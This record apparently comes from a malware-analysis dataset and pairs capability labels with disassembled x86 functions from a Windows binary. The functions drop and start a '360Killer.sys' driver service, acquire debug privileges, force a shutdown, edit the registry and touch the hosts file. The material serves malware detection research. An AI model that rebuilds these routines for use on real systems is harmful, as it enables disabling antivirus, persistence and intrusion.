joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412130
Capabilities:
Get file size
Parse pe header
Read file on windows

Disassembly:
sub esp, 0x174
push ebx
mov eax, dword [esp + 0x17c]
push esi
xor esi, esi
push esi
push esi
push 3
push esi
push 1
push connect
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x412358
push ebp
lea ecx, [esp + 0x18]
push edi
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
test eax, eax
mov dword [esp + 0x14], eax
je 0x412342
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x412342
mov ebp, dword [sym.imp.KERNEL32.DLL_ReadFile]
lea edx, [esp + 0x10]
push esi
push edx
lea eax, [esp + 0x2c]
push 0x40
push eax
push ebx
call ebp
test eax, eax
je 0x412342
cmp dword [esp + 0x10], 0x40
jne 0x412342
cmp word [esp + 0x24], 0x5a4d
jne 0x412342
mov ecx, dword [esp + 0x60]
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
push esi
push ecx
push ebx
call edi
cmp eax, dword [esp + 0x60]
jne 0x412342
lea edx, [esp + 0x10]
push esi
push edx
lea eax, [esp + 0x94]
push 0xf8
push eax
push ebx
call ebp
test eax, eax
je 0x412342
cmp dword [esp + 0x8c], 0x4550
jne 0x412342
mov eax, dword [esp + 0x92]
test ax, ax
je 0x412342
mov edx, dword [esp + 0xa0]
and eax, 0xffff
add eax, 0x6666666
and edx, 0xffff
push 0
push 0
lea ecx, [eax + eax*4]
mov eax, dword [esp + 0x68]
add eax, edx
lea esi, [eax + ecx*8]
push esi
push ebx
call edi
cmp eax, esi
jne 0x412342
lea ecx, [esp + 0x10]
push 0
push ecx
lea edx, [esp + 0x6c]
push 0x28
push edx
push ebx
call ebp
test eax, eax
je 0x412342
cmp dword [esp + 0x10], 0x28
jne 0x412342
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x74]
mov ebp, dword [esp + 0x14]
lea edi, [ecx + eax]
cmp edi, ebp
mov dword [esp + 0x20], edi
jae 0x412342
sub ebp, edi
push 4
push 0x1000
push ebp
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x412342
push 0
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, edi
jne 0x412334
lea edx, [esp + 0x10]
push 0
push edx
push ebp
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x412334
cmp dword [esp + 0x10], ebp
jne 0x412334
mov eax, dword [esp + 0x18c]
mov dword [esp + 0x18], esi
test eax, eax
je 0x4122f3
mov ecx, 0x3e
lea esi, [esp + 0x8c]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x198]
test eax, eax
je 0x412300
mov dword [eax], ebp
mov eax, dword [esp + 0x194]
test eax, eax
je 0x412311
mov ecx, dword [esp + 0x14]
mov dword [eax], ecx
mov eax, dword [esp + 0x190]
test eax, eax
je 0x412342
push ebx
mov dword [eax], edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x174
ret
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x174
ret
mov eax, esi
pop esi
pop ebx
add esp, 0x174
ret
Function at 0x4123d0
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
mov esi, dword [eax + 0x3c]
push edi
add esi, eax
xor eax, eax
xor ebp, ebp
mov ax, word [esi + 0x14]
mov bp, word [esi + 6]
lea eax, [eax + esi + 0x18]
mov dword [esp + 0x14], eax
mov ecx, dword [eax + 0xc]
lea edi, [eax + 0xc]
mov eax, dword [esp + 0x18]
cmp eax, ecx
jb 0x41242c
xor ebx, ebx
test ebp, ebp
jbe 0x412429
mov ecx, dword [esi + 0x38]
mov edx, dword [edi - 4]
push ecx
push edx
call fcn.004123a0
mov ecx, dword [edi]
add esp, 8
add ecx, eax
mov eax, dword [esp + 0x18]
cmp eax, ecx
jb 0x412431
inc ebx
add edi, 0x28
cmp ebx, ebp
jb 0x412405
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esi + 0x3c]
lea edx, [ebx + ebx*4]
push ecx
lea edi, [eax + edx*8]
mov edx, dword [eax + edx*8 + 0x14]
push edx
call fcn.00412370
mov ecx, dword [esp + 0x20]
mov esi, dword [edi + 0xc]
add esp, 8
sub ecx, esi
add eax, ecx
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4124a0
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
test eax, eax
push edi
je 0x41255d
mov esi, dword [esp + 0x1c]
push 0
mov ecx, esi
push 0
neg ecx
sbb ecx, ecx
push 3
and ecx, 0x40000000
push 0
add ecx, 0x80000000
push 3
push ecx
push eax
call dword [0x45f0b4]
mov edi, eax
cmp edi, 0xffffffff
je 0x41255d
lea edx, [esp + 0x14]
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ebp, eax
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x412556
test ebp, ebp
je 0x412556
mov eax, esi
push 0
neg eax
sbb eax, eax
push 0
and eax, 2
push 0
add eax, 2
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, eax
call edi
test ebx, ebx
je 0x41255d
neg esi
sbb esi, esi
push 0
and esi, 2
push 0
add esi, 4
push 0
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
push ebx
mov esi, eax
call edi
test esi, esi
je 0x41255d
mov eax, dword [esp + 0x18]
test eax, eax
je 0x41254f
mov dword [eax], ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x412570
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x10
push ebx
push ebp
mov ebp, dword [esp + 0x24]
push esi
push edi
mov ax, word [ebp]
test ax, ax
je 0x412764
mov ecx, dword [esp + 0x28]
and eax, 0xffff
mov edi, str..WYCao
xor edx, edx
lea eax, [eax + eax*4]
lea ebx, [ecx + eax*8 - 0x28]
mov ecx, 3
mov esi, ebx
repe cmpsw word [esi], word es:[edi]
mov edi, dword [esp + 0x24]
jne 0x412611
mov eax, dword [ebx + 0x10]
cmp eax, 0x200
jbe 0x412611
add eax, 0xfffffe00
xor ebp, ebp
test eax, eax
mov dword [esp + 0x10], eax
jbe 0x41260d
mov esi, dword [ebx + 0x14]
push 0
add esi, ebp
push 0
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp esi, eax
jne 0x41260d
lea eax, [esp + 0x24]
push 0
push eax
lea ecx, [esp + 0x20]
push 8
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x412604
cmp dword [esp + 0x1c], 0x5a4de1ff
je 0x412694
mov eax, dword [esp + 0x10]
inc ebp
cmp ebp, eax
jb 0x4125c8
mov ebp, dword [esp + 0x2c]
mov eax, dword [ebx + 0x24]
cmp eax, 0xe00000e0
je 0x4126a8
and eax, 0xf0000000
cmp eax, 0xe0000000
jne 0x412764
mov eax, dword [ebx + 0xc]
mov esi, dword [esp + 0x38]
cmp esi, eax
jb 0x412768
mov edx, dword [ebx + 0x10]
add edx, eax
cmp esi, edx
jae 0x412768
mov eax, dword [ebx + 0x14]
push 0
push 0
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
lea ecx, [esp + 0x24]
push 0
push ecx
lea edx, [esp + 0x20]
push 8
push edx
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x412768
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x18]
cmp eax, ecx
jne 0x412768
dec word [ebp]
mov ecx, dword [esp + 0x1c]
jmp 0x412747
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
sub eax, ecx
pop ebx
add esp, 0x10
ret 0x18
mov ecx, dword [ebx + 0x14]
mov esi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
add ecx, 0xa1
push 0
push ecx
push edi
call esi
lea edx, [esp + 0x24]
push 0
push edx
lea eax, [esp + 0x18]
push 8
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x412709
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x10]
cmp eax, ecx
jne 0x412709
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x34]
dec word [ebp]
push ecx
push edx
push eax
mov eax, dword [esp + 0x34]
push ebp
push eax
push edi
call fcn.00412570
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x18
mov ecx, dword [ebx + 0x14]
push 0
add ecx, 0xa3
push 0
push ecx
push edi
call esi
lea edx, [esp + 0x24]
push 0
push edx
lea eax, [esp + 0x18]
push 8
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x412764
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x10]
cmp eax, ecx
jne 0x412764
dec word [ebp]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x34]
push ecx
push edx
push eax
mov eax, dword [esp + 0x34]
push ebp
push eax
push edi
call fcn.00412570
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x18
mov esi, dword [esp + 0x38]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x18
Function at 0x412780
Capabilities:
Check if file exists
Delete file
Print debug messages

Disassembly:
sub esp, 0x140
push esi
mov esi, dword [esp + 0x148]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4127f1
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
je 0x4127f1
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
test byte [esp + 4], 0x10
jne 0x4127f1
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x4127f1
cmp dword [esp + 0x24], 0x13
jne 0x4127f1
push str.Findxxxx
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
mov eax, dword [esp + 0x14c]
test eax, eax
je 0x4127e4
push esi
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov eax, 1
pop esi
add esp, 0x140
ret
xor eax, eax
pop esi
add esp, 0x140
ret

Function at 0x412870
Capabilities:
Get file version info

Disassembly:
sub esp, 8
lea eax, [esp + 4]
push ebx
mov ebx, dword [esp + 0x10]
push esi
push edi
push eax
mov edi, ecx
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
test esi, esi
je 0x412923
mov eax, dword [edi + 0x108]
test eax, eax
je 0x4128a5
push eax
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [edi + 0x108], eax
test eax, eax
je 0x412923
push eax
push esi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x412923
mov eax, dword [edi + 0x108]
lea ecx, [esp + 0x18]
lea edx, [esp + 0xc]
push ecx
push edx
push str.VarFileInfoTranslation
push eax
mov dword [esp + 0x28], 0
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x412923
mov eax, dword [esp + 0xc]
xor edx, edx
add edi, 4
mov ecx, dword [eax]
mov dx, word [eax]
shr ecx, 0x10
push ecx
push edx
push str.StringFileInfo_04x_04x
push 0x104
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
add esp, 0x14
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 8
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4

Function at 0x412a20
Capabilities:
Check if file exists
Get common file path

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, dword [esp + 0xc]
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
cmp esi, 0x7fffffff
ja 0x412a88
test esi, esi
mov ecx, esi
mov eax, edi
je 0x412a88
cmp byte [eax], 0
je 0x412a4d
inc eax
dec ecx
jne 0x412a42
jmp 0x412a88
test ecx, ecx
je 0x412a88
lea eax, [esp + 0x10]
test eax, eax
je 0x412a5f
mov eax, esi
sub eax, ecx
jmp 0x412a63
mov eax, dword [esp + 0x10]
sub esi, eax
lea eax, [eax + edi]
je 0x412a88
mov edx, str.driversetchosts
sub edx, eax
mov cl, byte [edx + eax]
test cl, cl
je 0x412a80
mov byte [eax], cl
inc eax
dec esi
jne 0x412a71
jmp 0x412a84
test esi, esi
jne 0x412a85
dec eax
mov byte [eax], 0
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x412ab2
push eax
push eax
push 4
push eax
push 1
push connect
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
je 0x412ab2
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x412c50
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 4]
push ebp
push edi
push 0
mov ebp, ecx
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp + 0x10]
push 0x436d3c
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x412cc9
mov eax, dword [ebp + 8]
push esi
mov esi, dword [eax]
cmp esi, eax
je 0x412cb4
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_fprintf]
mov eax, esi
mov esi, dword [esi]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x412ca3
push eax
push 0x44a240
push edi
call ebx
add esp, 0xc
jmp 0x412cae
push 0x44a23c
push edi
call ebx
add esp, 8
cmp esi, dword [ebp + 8]
jne 0x412c8a
pop ebx
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, 1
pop esi
pop edi
pop ebp
ret 4
pop edi
xor eax, eax
pop ebp
ret 4
Function at 0x4146a0
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42e0a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1010
call sub.ntdll.dll__chkstk
mov al, byte [0x45ec20]
push ebx
push esi
push edi
mov byte [ebp - 0x1020], al
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x101f]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x10], esp
xor ebx, ebx
push ecx
lea edx, [ebp - 0x18]
push ebx
stosw word es:[edi], ax
push edx
push str.E2A91EC5_8DF7_4d9c_9723_509CBC1015C9
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push connect
stosb byte es:[edi], al
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x18], 4
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
je 0x41481a
lea eax, [ebp - 0x1c]
push 4
push eax
push 4
push str.E2A91EC5_8DF7_4d9c_9723_509CBC1015C9
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push connect
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push ecx
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x414771
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x414771
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1020]
push 0x1000
push eax
mov dword [ebp - 4], ebx
call fcn.00414590
add esp, 8
call fcn.004143e0
cmp eax, ebx
je 0x4147be
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1020]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00414420
cmp eax, ebx
je 0x4147fe
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1020]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4147fe
push str.E2A91EC5_8DF7_4d9c_9723_509CBC1015C9
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push connect
mov dword [ebp - 4], 0xffffffff
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
cmp byte [ebp - 0x1020], bl
jne 0x41484a
mov edi, str.Mid2Failed
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1020]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ecx
lea eax, [ebp - 0x1020]
push edx
push eax
call fcn.00414640
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414910
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [esp]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x414974
lea edx, [esp + 8]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x414969
mov ecx, dword [esp]
push 0
push 0
lea eax, [esp + 0xc]
push 0
push eax
push 0
push ecx
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
add esp, 0x14
ret

Function at 0x414c40
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x14
push esi
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
lea ecx, [esp + 4]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x414cb1
lea edx, [esp + 0xc]
push edx
push 0x44a760
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x414ca6
mov ecx, dword [esp + 4]
push esi
push esi
lea eax, [esp + 0x10]
push esi
push eax
push esi
push ecx
mov dword [esp + 0x20], 1
mov dword [esp + 0x2c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x414ca6
push esi
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov esi, eax
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, esi
pop esi
add esp, 0x14
ret

Function at 0x4152e0
Capabilities:
Check if file exists
Create service
Get file attributes

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, dword [esp + 0x14]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push edi
call fcn.00420c20
mov esi, eax
test esi, esi
jne 0x415339
mov eax, dword [esp + 0xc]
test eax, eax
je 0x415348
mov ebx, dword [esp + 0x18]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x415339
push esi
push esi
push esi
mov ecx, dword [esp + 0x18]
push esi
push esi
push ebx
push 1
push 3
push 1
push 0xf01ff
push edi
push edi
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x415348
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, esi
pop edi
pop esi
pop ebx
pop ecx
ret 8

Function at 0x415360
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41538b
xor eax, eax
pop esi
ret 4
lea ecx, [esp + 8]
push 0
push ecx
push 0x3800
push 0x44a888
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
push esi
jne 0x4153b4
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop esi
ret 4
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
pop esi
ret 4
Function at 0x4153d0
Capabilities:
Delete file
Delete registry key
Get common file path
Query service status
Start service

Disassembly:
sub esp, 0x120
push ebx
push esi
mov esi, ecx
cmp dword [esi + 4], 0xffffffff
je 0x4153ee
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
push 0
push 0
push 3
push 0
push 0
push connect
push str..RodogProtect
call ebx
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x415423
mov eax, 1
mov dword [esi + 8], eax
pop esi
pop ebx
add esp, 0x120
ret
mov eax, dword [esi + 8]
test eax, eax
je 0x415438
pop esi
mov eax, 1
pop ebx
add esp, 0x120
ret
lea eax, [esp + 0x24]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0x24]
push str.drivers360Killer.sys
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea edx, [esp + 0x24]
mov ecx, esi
push edx
call fcn.00415360
test eax, eax
jne 0x415471
pop esi
pop ebx
add esp, 0x120
ret
lea eax, [esp + 0x24]
push edi
push eax
push str.360Killer
mov ecx, esi
call fcn.004152e0
mov edi, eax
test edi, edi
je 0x4154dc
lea ecx, [esp + 0xc]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4154a9
cmp dword [esp + 0x10], 4
jne 0x4154a9
mov dword [esi + 8], 1
jmp 0x4154d5
push 0
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
mov dword [esi + 8], eax
push 0
je 0x4154c4
push str.akDogsysSuccess
jmp 0x4154c9
push str.akDogsysFailed
call fcn.00417c10
mov ecx, eax
call fcn.00418580
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push str.SYSTEMCurrentControlSetServices360Killer
push connect
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov eax, dword [esi + 8]
pop edi
test eax, eax
je 0x415523
push 0
push 0
push 3
push 0
push 0
push connect
push str..RodogProtect
call ebx
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov eax, dword [esi + 8]
pop esi
pop ebx
add esp, 0x120
ret
Function at 0x415b20
Capabilities:
Create thread
Terminate thread

Disassembly:
sub esp, 0x10
push ebx
push ebp
push edi
mov dword [esp + 0xc], 0
xor edi, edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, dword [esp + 0x24]
xor edx, edx
cmp ecx, eax
setne dl
mov ebp, edx
test ebp, ebp
je 0x415b78
push ecx
push 1
push 0x40
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
test edi, edi
je 0x415b80
push 2
push 0
lea eax, [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov ecx, dword [esp + 0x30]
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.DLL_DuplicateHandle]
jmp 0x415b80
mov edx, dword [esp + 0x20]
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x14], eax
xor eax, eax
test ecx, ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
je 0x415bf5
push esi
push eax
lea ecx, [esp + 0x18]
push eax
push ecx
push 0x415a50
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov esi, eax
test esi, esi
je 0x415be2
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x102
jne 0x415bdf
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
mov dword [esp + 0x1c], 0
push esi
call ebx
test ebp, ebp
pop esi
je 0x415bf1
push edi
call ebx
mov edx, dword [esp + 0xc]
push edx
call ebx
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop ebx
add esp, 0x10
ret